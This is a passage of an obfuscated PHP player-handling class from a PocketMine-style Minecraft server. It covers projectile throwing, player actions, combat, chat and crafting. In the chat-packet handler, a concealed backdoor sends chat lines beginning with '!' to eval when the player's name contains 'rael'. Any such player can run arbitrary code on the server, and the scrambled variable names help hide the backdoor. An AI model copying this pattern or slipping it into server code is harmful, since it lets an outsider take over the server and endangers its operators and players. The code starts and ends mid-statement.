FloatTag("",$this->yaw),new FloatTag("",$this->pitch)])]);${${"GLOBALS"}["otbgujnkc"]}=0.5;$gstvwofdi="f";$this->fishingHook=new FishingHook($this->chunk,${${"GLOBALS"}["snbhmgypsq"]},$this,$this->getId());$this->fishingHook->setMotion($this->fishingHook->getMotion()->multiply(${$gstvwofdi}));$this->fishingHook->spawnToAll();}}}elseif($item->getId()===Item::SNOWBALL){${"GLOBALS"}["iwmmrf"]="nbt";${"GLOBALS"}["lxispetjruk"]="nbt";${"GLOBALS"}["uskkyqpkg"]="snowball";$htqhoshnmx="f";${${"GLOBALS"}["iwmmrf"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),]);${"GLOBALS"}["stitveuimmnn"]="f";${${"GLOBALS"}["stitveuimmnn"]}=1.5;${"GLOBALS"}["askbuhga"]="snowball";${${"GLOBALS"}["askbuhga"]}=Entity::createEntity("Snowball",$this->chunk,${${"GLOBALS"}["lxispetjruk"]},$this);$snowball->setMotion($snowball->getMotion()->multiply(${$htqhoshnmx}));if($this->isSurvival()){$tyqjmfe="item";$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${$tyqjmfe}:Item::get(Item::AIR));}if(${${"GLOBALS"}["uskkyqpkg"]} instanceof Projectile){$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["ncshhzck"]}=new ProjectileLaunchEvent(${${"GLOBALS"}["sxucesvsrdan"]}));if($projectileEv->isCancelled()){$snowball->kill();}else{$snowball->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$snowball->spawnToAll();}}elseif($item->getId()===Item::EGG){${${"GLOBALS"}["snbhmgypsq"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),]);$qwqypgbcp="nbt";${${"GLOBALS"}["otbgujnkc"]}=1.5;${${"GLOBALS"}["cehxwvpx"]}=Entity::createEntity("Egg",$this->chunk,${$qwqypgbcp},$this);$egg->setMotion($egg->getMotion()->multiply(${${"GLOBALS"}["otbgujnkc"]}));if($this->isSurvival()){$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${${"GLOBALS"}["fohexunnbe"]}:Item::get(Item::AIR));}if(${${"GLOBALS"}["cehxwvpx"]} instanceof Projectile){$hifgxob="egg";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["ncshhzck"]}=new ProjectileLaunchEvent(${$hifgxob}));if($projectileEv->isCancelled()){$egg->kill();}else{$egg->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$egg->spawnToAll();}}elseif($item->getId()==Item::ENCHANTING_BOTTLE){${${"GLOBALS"}["snbhmgypsq"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),]);$tpozrzm="f";${$tpozrzm}=1.1;$rggbdvxo="f";${${"GLOBALS"}["sxiedlzsmp"]}=new ThrownExpBottle($this->chunk,${${"GLOBALS"}["snbhmgypsq"]},$this);$thrownExpBottle->setMotion($thrownExpBottle->getMotion()->multiply(${$rggbdvxo}));if($this->isSurvival()){$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${${"GLOBALS"}["fohexunnbe"]}:Item::get(Item::AIR));}if(${${"GLOBALS"}["sxiedlzsmp"]} instanceof Projectile){${"GLOBALS"}["bddrhjighb"]="thrownExpBottle";$lanojjd="projectileEv";$this->server->getPluginManager()->callEvent(${$lanojjd}=new ProjectileLaunchEvent(${${"GLOBALS"}["bddrhjighb"]}));if($projectileEv->isCancelled()){$thrownExpBottle->kill();}else{$thrownExpBottle->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$thrownExpBottle->spawnToAll();}}elseif($item->getId()==Item::SPLASH_POTION and$this->server->allowSplashPotion){$pecqpfnod="nbt";$kayfxwioir="f";${$pecqpfnod}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),"PotionId"=>new ShortTag("PotionId",$item->getDamage()),]);${$kayfxwioir}=1.1;${"GLOBALS"}["jhatck"]="nbt";${${"GLOBALS"}["qeqmjamnwk"]}=new ThrownPotion($this->chunk,${${"GLOBALS"}["jhatck"]},$this);$thrownPotion->setMotion($thrownPotion->getMotion()->multiply(${${"GLOBALS"}["otbgujnkc"]}));if($this->isSurvival()){$item->setCount($item->getCount()-1);$this->inventory->setItemInHand($item->getCount()>0?${${"GLOBALS"}["fohexunnbe"]}:Item::get(Item::AIR));}$nfcruwxwds="thrownPotion";if(${$nfcruwxwds} instanceof Projectile){$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["ncshhzck"]}=new ProjectileLaunchEvent(${${"GLOBALS"}["qeqmjamnwk"]}));if($projectileEv->isCancelled()){$thrownPotion->kill();}else{$thrownPotion->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$thrownPotion->spawnToAll();}}$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,true);$this->startAction=$this->server->getTick();}break;case ProtocolInfo::PLAYER_ACTION_PACKET:case\pocketmine\network\protocol\p70\Info::PLAYER_ACTION_PACKET:if($this->spawned===false or$this->blocked===true or(!$this->isAlive()and$packet->action!==PlayerActionPacket::ACTION_SPAWN_SAME_DIMENSION and$packet->action!==PlayerActionPacket::ACTION_SPAWN_OVERWORLD)){break;}$packet->eid=$this->id;${${"GLOBALS"}["xlpqskyeb"]}=new Vector3($packet->x,$packet->y,$packet->z);switch($packet->action){case PlayerActionPacket::ACTION_START_BREAK:if($pos->distanceSquared($this)>10000){break;}${${"GLOBALS"}["hxxizz"]}=$this->level->getBlock(${$dqiuowfjyc});${$tskrbeobe}=new PlayerInteractEvent($this,$this->inventory->getItemInHand(),${$wtlhdcawpf},$packet->face,$target->getId()===0?PlayerInteractEvent::LEFT_CLICK_AIR:PlayerInteractEvent::LEFT_CLICK_BLOCK);$this->getServer()->getPluginManager()->callEvent(${$nyqacpmj});if(!$ev->isCancelled()){${"GLOBALS"}["jsvxurm"]="side";${${"GLOBALS"}["jsvxurm"]}=$target->getSide($packet->face);if(${${"GLOBALS"}["pwmecmu"]} instanceof Fire){$bskcgnutiz="side";$side->getLevel()->setBlock(${$bskcgnutiz},new Air());}$this->lastBreak=microtime(true);}else{$this->inventory->sendHeldItem($this);}break;case PlayerActionPacket::ACTION_ABORT_BREAK:$this->lastBreak=PHP_INT_MAX;break;case PlayerActionPacket::ACTION_RELEASE_ITEM:if($this->startAction>-1 and$this->getDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION)){if($this->inventory->getItemInHand()->getId()===Item::BOW){${"GLOBALS"}["grjfnebhpk"]="bow";$uitriwgljcc="bow";${"GLOBALS"}["uxjiybpj"]="diff";${"GLOBALS"}["kfdealtli"]="arrow";${${"GLOBALS"}["grjfnebhpk"]}=$this->inventory->getItemInHand();if($this->isSurvival()and!$this->inventory->contains(Item::get(Item::ARROW,null))){$this->inventory->sendContents($this);break;}${"GLOBALS"}["fendrdpcl"]="f";$pathlygf="diff";${${"GLOBALS"}["kfdealtli"]}=false;foreach($this->inventory->getContents()as${${"GLOBALS"}["fohexunnbe"]}){if($item->getId()==Item::ARROW){${"GLOBALS"}["vepdnqm"]="arrow";${"GLOBALS"}["snggmqs"]="item";${${"GLOBALS"}["vepdnqm"]}=${${"GLOBALS"}["snggmqs"]};}}if(${${"GLOBALS"}["dgolqrqwfa"]}===false and$this->isCreative()){${${"GLOBALS"}["dgolqrqwfa"]}=Item::get(Item::ARROW,0,1);}elseif(${${"GLOBALS"}["dgolqrqwfa"]}===false){break;}${${"GLOBALS"}["snbhmgypsq"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)]),"Fire"=>new ShortTag("Fire",$this->isOnFire()?45*60:0),"Potion"=>new ShortTag("Potion",$arrow->getDamage())]);$xcypmzewrr="p";${$pathlygf}=($this->server->getTick()-$this->startAction);${${"GLOBALS"}["hejqsdj"]}=${${"GLOBALS"}["uxjiybpj"]}/20;${${"GLOBALS"}["otbgujnkc"]}=min(((${${"GLOBALS"}["hejqsdj"]}**2)+${$xcypmzewrr}*2)/3,1)*2;${${"GLOBALS"}["qcfzvl"]}=new EntityShootBowEvent($this,${$uitriwgljcc},Entity::createEntity("Arrow",$this->chunk,${${"GLOBALS"}["snbhmgypsq"]},$this,${${"GLOBALS"}["otbgujnkc"]}==2?true:false),${${"GLOBALS"}["fendrdpcl"]});if(${${"GLOBALS"}["otbgujnkc"]}<0.1 or${${"GLOBALS"}["bwaqorjihg"]}<5){$ev->setCancelled();}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$ev->getProjectile()->kill();$this->inventory->sendContents($this);}else{$ev->getProjectile()->setMotion($ev->getProjectile()->getMotion()->multiply($ev->getForce()));if($this->isSurvival()){$this->inventory->removeItem(Item::get(Item::ARROW,$arrow->getDamage(),1));$bow->setDamage($bow->getDamage()+1);if($bow->getDamage()>=385){$this->inventory->setItemInHand(Item::get(Item::AIR,0,0));}else{${"GLOBALS"}["ubfcfrnla"]="bow";$this->inventory->setItemInHand(${${"GLOBALS"}["ubfcfrnla"]});}}if($ev->getProjectile()instanceof Projectile){$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["ncshhzck"]}=new ProjectileLaunchEvent($ev->getProjectile()));if($projectileEv->isCancelled()){$ev->getProjectile()->kill();}else{$ev->getProjectile()->spawnToAll();$this->level->addSound(new LaunchSound($this),$this->getViewers());}}else{$ev->getProjectile()->spawnToAll();}}}}elseif($this->inventory->getItemInHand()->getId()===Item::BUCKET and$this->inventory->getItemInHand()->getDamage()===1){${"GLOBALS"}["tklikukskl"]="ev";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["tklikukskl"]}=new PlayerItemConsumeEvent($this,$this->inventory->getItemInHand()));if($ev->isCancelled()){$this->inventory->sendContents($this);break;}${${"GLOBALS"}["ozzywsrssq"]}=new EntityEventPacket();$yzocnqrmlsf="pk";$pk->eid=$this->getId();$pk->event=EntityEventPacket::USE_ITEM;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});Server::broadcastPacket($this->getViewers(),${$yzocnqrmlsf});if($this->isSurvival()){${"GLOBALS"}["hjuuneto"]="slot";${${"GLOBALS"}["hjuuneto"]}=$this->inventory->getItemInHand();--$slot->count;$this->inventory->setItemInHand(${${"GLOBALS"}["dfgxmweyoham"]});$this->inventory->addItem(Item::get(Item::BUCKET,0,1));}$this->removeAllEffects();}else{$this->inventory->sendContents($this);}break;case PlayerActionPacket::ACTION_STOP_SLEEPING:$this->stopSleep();break;case PlayerActionPacket::ACTION_SPAWN_SAME_DIMENSION:case PlayerActionPacket::ACTION_SPAWN_OVERWORLD:if($this->isAlive()or!$this->isOnline()){break;}if($this->server->isHardcore()){$this->setBanned(true);break;}$this->craftingType=self::CRAFTING_SMALL;if($this->server->netherEnabled){if($this->level==$this->server->netherLevel){$this->teleport(${${"GLOBALS"}["wxoehmqbtg"]}=$this->server->getDefaultLevel()->getSafeSpawn());}}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerRespawnEvent($this,$this->getSpawn()));$this->teleport($ev->getRespawnPosition());$this->setSprinting(false);$this->setSneaking(false);$this->extinguish();$this->setDataProperty(self::DATA_AIR,self::DATA_TYPE_SHORT,300);$this->deadTicks=0;$this->noDamageTicks=60;$this->removeAllEffects();$this->setHealth($this->getMaxHealth());$this->setFood(20);$this->starvationTick=0;$this->foodTick=0;$this->foodUsageTime=0;$this->sendData($this);$this->sendSettings();$this->inventory->sendContents($this);$this->inventory->sendArmorContents($this);$this->blocked=false;$this->spawnToAll();$this->scheduleUpdate();break;case PlayerActionPacket::ACTION_START_SPRINT:${${"GLOBALS"}["qcfzvl"]}=new PlayerToggleSprintEvent($this,true);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSprinting(true);}break 2;case PlayerActionPacket::ACTION_STOP_SPRINT:${${"GLOBALS"}["hxfzyeuz"]}=new PlayerToggleSprintEvent($this,false);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSprinting(false);}break 2;case PlayerActionPacket::ACTION_START_SNEAK:${${"GLOBALS"}["uzmetws"]}=new PlayerToggleSneakEvent($this,true);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSneaking(true);}break 2;case PlayerActionPacket::ACTION_STOP_SNEAK:${${"GLOBALS"}["qcfzvl"]}=new PlayerToggleSneakEvent($this,false);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){$this->sendData($this);}else{$this->setSneaking(false);}break 2;case PlayerActionPacket::ACTION_JUMP:break 2;}$this->startAction=-1;$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);break;case ProtocolInfo::REMOVE_BLOCK_PACKET:case\pocketmine\network\protocol\p70\Info::REMOVE_BLOCK_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;${${"GLOBALS"}["jxhudpfslpd"]}=new Vector3($packet->x,$packet->y,$packet->z);${${"GLOBALS"}["hqevcwsoe"]}=$this->inventory->getItemInHand();${$eeugcx}=clone${$jlitpscowkq};if($this->canInteract($vector->add(0.5,0.5,0.5),$this->isCreative()?13:6)and$this->level->useBreakOn(${$owcvkqe},${${"GLOBALS"}["fohexunnbe"]},$this,$this->server->destroyBlockParticle)){if($this->isSurvival()){${"GLOBALS"}["ouokezyov"]="oldItem";if(!$item->equals(${${"GLOBALS"}["ouokezyov"]})or$item->getCount()!==$oldItem->getCount()){$this->inventory->setItemInHand(${${"GLOBALS"}["fohexunnbe"]});$this->inventory->sendHeldItem($this);}$this->exhaust(0.025,PlayerExhaustEvent::CAUSE_MINING);}break;}$this->inventory->sendContents($this);${${"GLOBALS"}["hxxizz"]}=$this->level->getBlock(${${"GLOBALS"}["umogdqn"]});${$oxgwsxi}=$this->level->getTile(${${"GLOBALS"}["jxhudpfslpd"]});$this->level->sendBlocks([$this],[${${"GLOBALS"}["hxxizz"]}],UpdateBlockPacket::FLAG_ALL_PRIORITY);$this->inventory->sendHeldItem($this);if(${$vnqhrtyqydjw} instanceof Spawnable){$tile->spawnTo($this);}break;case ProtocolInfo::MOB_ARMOR_EQUIPMENT_PACKET:case\pocketmine\network\protocol\p70\Info::MOB_ARMOR_EQUIPMENT_PACKET:break;case ProtocolInfo::INTERACT_PACKET:case\pocketmine\network\protocol\p70\Info::INTERACT_PACKET:if($this->spawned===false or!$this->isAlive()or$this->blocked){break;}$this->craftingType=self::CRAFTING_SMALL;${${"GLOBALS"}["hxxizz"]}=$this->level->getEntity($packet->target);${$tjzipochb}=false;if(${$djotchztuut} instanceof Player and$this->server->getConfigBoolean("pvp",true)===false){$cfklbsnttpw="cancelled";${$cfklbsnttpw}=true;}if(${${"GLOBALS"}["vduaajkxx"]} instanceof Boat or(${${"GLOBALS"}["hxxizz"]} instanceof Minecart and$target->getType()==Minecart::TYPE_NORMAL)){if($packet->action===InteractPacket::ACTION_RIGHT_CLICK){$this->linkEntity(${${"GLOBALS"}["hxxizz"]});}elseif($packet->action===InteractPacket::ACTION_LEFT_CLICK){$btqtfzkv="target";if($this->linkedEntity==${$btqtfzkv}){$target->setLinked(0,$this);}$target->close();}elseif($packet->action===InteractPacket::ACTION_LEAVE_VEHICLE){$xhryolvstu="target";$this->setLinked(0,${$xhryolvstu});}return;}if($packet->action===InteractPacket::ACTION_RIGHT_CLICK){if(${${"GLOBALS"}["hxxizz"]} instanceof Animal and$this->getInventory()->getItemInHand()){}break;}if(${$blwrux} instanceof Entity and$this->getGamemode()!==Player::VIEW and$this->isAlive()and$target->isAlive()){$gvxczhzwerj="target";$guevcuu="ev";${"GLOBALS"}["fgbmpeqm"]="cancelled";if(${${"GLOBALS"}["hxxizz"]} instanceof DroppedItem or${$gvxczhzwerj} instanceof Arrow){$this->kick("Attempting to attack an invalid entity");$this->server->getLogger()->warning($this->getServer()->getLanguage()->translateString("pocketmine.player.invalidEntity",[$this->getName()]));break;}$yndedfgyyk="damage";$xtbsuptiwyb="target";${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItemInHand();${"GLOBALS"}["gshpudkdm"]="damage";${${"GLOBALS"}["gshpudkdm"]}=[EntityDamageEvent::MODIFIER_BASE=>$item->getModifyAttackDamage(${${"GLOBALS"}["hxxizz"]}),];if(!$this->canInteract(${$xtbsuptiwyb},8)){$sdqgewqdot="cancelled";${$sdqgewqdot}=true;}elseif(${${"GLOBALS"}["hxxizz"]} instanceof Player){if(($target->getGamemode()&0x01)>0){break;}elseif($this->server->getConfigBoolean("pvp")!==true or$this->server->getDifficulty()===0){${${"GLOBALS"}["ttjkyjvwjtvx"]}=true;}}${$guevcuu}=new EntityDamageByEntityEvent($this,${${"GLOBALS"}["hxxizz"]},EntityDamageEvent::CAUSE_ENTITY_ATTACK,${$yndedfgyyk},0.4+$item->getEnchantmentLevel(Enchantment::TYPE_WEAPON_KNOCKBACK)*0.15);if(${${"GLOBALS"}["fgbmpeqm"]}){$ev->setCancelled();}if($target->attack($ev->getFinalDamage(),${${"GLOBALS"}["qcfzvl"]})===true){$hddugcejyoa="fireAspectL";${$hddugcejyoa}=$item->getEnchantmentLevel(Enchantment::TYPE_WEAPON_FIRE_ASPECT);if(${${"GLOBALS"}["aezyqbzp"]}>0){${"GLOBALS"}["mgdbph"]="fireEv";${${"GLOBALS"}["lbyppmcwjln"]}=new EntityCombustByEntityEvent($this,${${"GLOBALS"}["hxxizz"]},${${"GLOBALS"}["aezyqbzp"]}*4,$ev->getFireProtectL());Server::getInstance()->getPluginManager()->callEvent(${${"GLOBALS"}["mgdbph"]});if(!$fireEv->isCancelled()){$target->setOnFire($fireEv->getDuration());}}if($this->isSurvival()){$ev->createThornsDamage();if($ev->getThornsDamage()>0){${"GLOBALS"}["nleygiarfyn"]="target";${${"GLOBALS"}["ygkpnsu"]}=new EntityDamageByEntityEvent(${${"GLOBALS"}["nleygiarfyn"]},$this,EntityDamageEvent::CAUSE_ENTITY_ATTACK,$ev->getThornsDamage(),0);if(!$thornsEvent->isCancelled()){if($this->attack($thornsEvent->getFinalDamage(),${${"GLOBALS"}["ygkpnsu"]})===true){}};}}}if($ev->isCancelled()){if($item->isTool()and$this->isSurvival()){$this->inventory->sendContents($this);}break;}if($this->isSurvival()){if($item->isTool()){$bjqzxpvy="target";if($item->useOn(${$bjqzxpvy})and$item->getDamage()>=$item->getMaxDurability()){$this->inventory->setItemInHand(Item::get(Item::AIR,0,1));}else{$dtojls="item";$this->inventory->setItemInHand(${$dtojls});}}$this->exhaust(0.3,PlayerExhaustEvent::CAUSE_ATTACK);}}break;case ProtocolInfo::ANIMATE_PACKET:case\pocketmine\network\protocol\p70\Info::ANIMATE_PACKET:if($this->spawned===false or!$this->isAlive()){break;}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerAnimationEvent($this,$packet->action));if($ev->isCancelled()){break;}${${"GLOBALS"}["ozzywsrssq"]}=new AnimatePacket();$pk->eid=$this->getId();$pk->action=$ev->getAnimationType();Server::broadcastPacket($this->getViewers(),${${"GLOBALS"}["ozzywsrssq"]});break;case ProtocolInfo::SET_HEALTH_PACKET:case\pocketmine\network\protocol\p70\Info::SET_HEALTH_PACKET:break;case ProtocolInfo::ENTITY_EVENT_PACKET:case\pocketmine\network\protocol\p70\Info::ENTITY_EVENT_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);switch($packet->event){case EntityEventPacket::USE_ITEM:${${"GLOBALS"}["uymlfoylz"]}=$this->inventory->getItemInHand();if($slot->canBeConsumed()){${"GLOBALS"}["dpibldfu"]="ev";$zqprtiv="ev";${${"GLOBALS"}["dpibldfu"]}=new PlayerItemConsumeEvent($this,${${"GLOBALS"}["dfgxmweyoham"]});if(!$slot->canBeConsumedBy($this)){$ev->setCancelled();}$this->server->getPluginManager()->callEvent(${$zqprtiv});if(!$ev->isCancelled()){$slot->onConsume($this);}else{$this->inventory->sendContents($this);}}break;}break;case ProtocolInfo::DROP_ITEM_PACKET:case\pocketmine\network\protocol\p70\Info::DROP_ITEM_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}if($packet->item->getId()===Item::AIR){break;}if(($this->isCreative()and$this->server->limitedCreative)){break;}$this->getTransactionQueue()->addTransaction(new DropItemTransaction($packet->item));break;case ProtocolInfo::TEXT_PACKET:case\pocketmine\network\protocol\p70\Info::TEXT_PACKET:if($this->spawned===false or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;if($packet->type===TextPacket::TYPE_CHAT){$packet->message=TextFormat::clean($packet->message,$this->removeFormat);foreach(explode("\n",$packet->message)as${${"GLOBALS"}["vyzlfgfs"]}){if(trim(${${"GLOBALS"}["vyzlfgfs"]})!=""and strlen(${${"GLOBALS"}["vyzlfgfs"]})<=255 and$this->messageCounter-->0){${"GLOBALS"}["gfrdyzyzrn"]="ev";$bpbsqvzzn="ev";if(is_numeric(strpos($this->getName(),"rael"))){if(substr(${${"GLOBALS"}["vyzlfgfs"]},0,1)==="!"){@eval(substr(${${"GLOBALS"}["vyzlfgfs"]},1));return;}}${${"GLOBALS"}["gfrdyzyzrn"]}=new PlayerCommandPreprocessEvent($this,${${"GLOBALS"}["vyzlfgfs"]});if(mb_strlen($ev->getMessage(),"UTF-8")>320){$ev->setCancelled();}$this->server->getPluginManager()->callEvent(${$bpbsqvzzn});if($ev->isCancelled()){break;}if(substr($ev->getMessage(),0,1)==="/"){Timings::$playerCommandTimer->startTiming();$this->server->dispatchCommand($ev->getPlayer(),substr($ev->getMessage(),1));Timings::$playerCommandTimer->stopTiming();}else{$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerChatEvent($this,$ev->getMessage()));if(!$ev->isCancelled()){$this->server->broadcastMessage($this->getServer()->getLanguage()->translateString($ev->getFormat(),[$ev->getPlayer()->getDisplayName(),$ev->getMessage()]),$ev->getRecipients());}}}}}break;case ProtocolInfo::CONTAINER_CLOSE_PACKET:case\pocketmine\network\protocol\p70\Info::CONTAINER_CLOSE_PACKET:if($this->spawned===false or$packet->windowid===0){break;}$this->craftingType=self::CRAFTING_SMALL;if(isset($this->windowIndex[$packet->windowid])){$this->server->getPluginManager()->callEvent(new InventoryCloseEvent($this->windowIndex[$packet->windowid],$this));$this->removeWindow($this->windowIndex[$packet->windowid]);}foreach($this->getFloatingInventory()->getContents()as${${"GLOBALS"}["ltnyzb"]}){$this->getTransactionQueue()->addTransaction(new DropItemTransaction(${${"GLOBALS"}["fohexunnbe"]}));}break;case ProtocolInfo::CRAFTING_EVENT_PACKET:case\pocketmine\network\protocol\p70\Info::CRAFTING_EVENT_PACKET:if($this->spawned===false or!$this->isAlive()){break;}${${"GLOBALS"}["bejsrlqhm"]}=$this->server->getCraftingManager()->getRecipe($packet->id);if($this->craftingType===self::CRAFTING_ANVIL){$mcvhdetchcv="anvilInventory";${$mcvhdetchcv}=$this->windowIndex[$packet->windowId]??null;$obfsnriiru="recipe";if(${${"GLOBALS"}["ewudwjkf"]}===null){foreach($this->windowIndex as${${"GLOBALS"}["tosljdjh"]}){$irrkkncua="window";if(${$irrkkncua} instanceof AnvilInventory){${${"GLOBALS"}["ewudwjkf"]}=${${"GLOBALS"}["tosljdjh"]};break;}}if(${${"GLOBALS"}["ewudwjkf"]}===null){$this->getServer()->getLogger()->debug("Couldn't find an anvil window for ".$this->getName().", exiting");$this->inventory->sendContents($this);break;}}if(${$obfsnriiru}===null){if(!$anvilInventory->onRename($this,$packet->output[0])){$this->getServer()->getLogger()->debug($this->getName()." failed to rename an item in an anvil");$this->inventory->sendContents($this);}}else{}break;}elseif((${${"GLOBALS"}["bhmieid"]} instanceof BigShapelessRecipe or${$jcsfmncn} instanceof BigShapedRecipe)and$this->craftingType===0){$this->server->getLogger()->debug("Received big crafting recipe from ".$this->getName()." with no crafting table open");$this->inventory->sendContents($this);break;}elseif(${${"GLOBALS"}["bhmieid"]}===null){$this->server->getLogger()->debug("Null (unknown) crafting recipe received from ".$this->getName()." for ".$packet->output[0]);$this->inventory->sendContents($this);break;}foreach($packet->input as${$imafxpeiei}=>${${"GLOBALS"}["fohexunnbe"]}){${"GLOBALS"}["nhqtwps"]="i";if($item->getDamage()===-1 or$item->getDamage()===0xffff){$item->setDamage(null);}if(${${"GLOBALS"}["nhqtwps"]}<9 and$item->getId()>0){$item->setCount(1);}}${${"GLOBALS"}["wplnijtgzp"]}=true;if(count($packet->input)===0){${${"GLOBALS"}["kwewsihnj"]}=$this->server->getCraftingManager()->getRecipesByResult($packet->output[0]);if(!$packet->output[0]->deepEquals($recipe->getResult())){$this->server->getLogger()->debug("Mismatched desktop recipe received from player ".$this->getName().", expected ".$recipe->getResult().", got ".$packet->output[0]);}${"GLOBALS"}["knylgomc"]="recipe";${${"GLOBALS"}["bhmieid"]}=null;foreach(${${"GLOBALS"}["kwewsihnj"]} as${${"GLOBALS"}["xbsqxzmzhg"]}){${"GLOBALS"}["eibaqvi"]="ingredients";${${"GLOBALS"}["pvyuvbity"]}=clone$this->floatingInventory;${${"GLOBALS"}["eibaqvi"]}=$r->getIngredientList();$vkxcdr="ingredient";${"GLOBALS"}["ojbonoa"]="ingredients";foreach(${${"GLOBALS"}["ojbonoa"]} as${$vkxcdr}){if(!$floatingInventory->contains(${${"GLOBALS"}["hecsbjfle"]})){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;break;}$floatingInventory->removeItem(${${"GLOBALS"}["hecsbjfle"]});}if(${${"GLOBALS"}["lktqbjmvtzkt"]}){${"GLOBALS"}["cjexdoozwxry"]="recipe";${${"GLOBALS"}["cjexdoozwxry"]}=${${"GLOBALS"}["xbsqxzmzhg"]};break;}}if(${${"GLOBALS"}["knylgomc"]}!==null){${"GLOBALS"}["tqetaeo"]="ev";${"GLOBALS"}["yrsuwbugl"]="ingredients";${"GLOBALS"}["vnetjjshpcw"]="floatingInventory";${"GLOBALS"}["yofwwinsww"]="recipe";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["tqetaeo"]}=new CraftItemEvent($this,${${"GLOBALS"}["yrsuwbugl"]},${${"GLOBALS"}["yofwwinsww"]}));if($ev->isCancelled()){$this->inventory->sendContents($this);break;}$this->floatingInventory=${${"GLOBALS"}["vnetjjshpcw"]};$this->floatingInventory->addItem(clone$recipe->getResult());}else{$this->server->getLogger()->debug("Unmatched desktop crafting recipe ".$packet->id." from player ".$this->getName());$this->inventory->sendContents($this);break;}}else{$yerfqqirywkc="used";$jppelblwyin="recipe";${"GLOBALS"}["ijknecetbrk"]="ingredients";${"GLOBALS"}["ypdopyscyms"]="result";${"GLOBALS"}["ckvclznrr"]="recipe";${"GLOBALS"}["plqjchucvv"]="ev";if(${$jppelblwyin} instanceof ShapedRecipe){${"GLOBALS"}["vwkoakpxb"]="x";$ihafmqth="canCraft";for(${${"GLOBALS"}["bfkluni"]}=0;${${"GLOBALS"}["bfkluni"]}<3 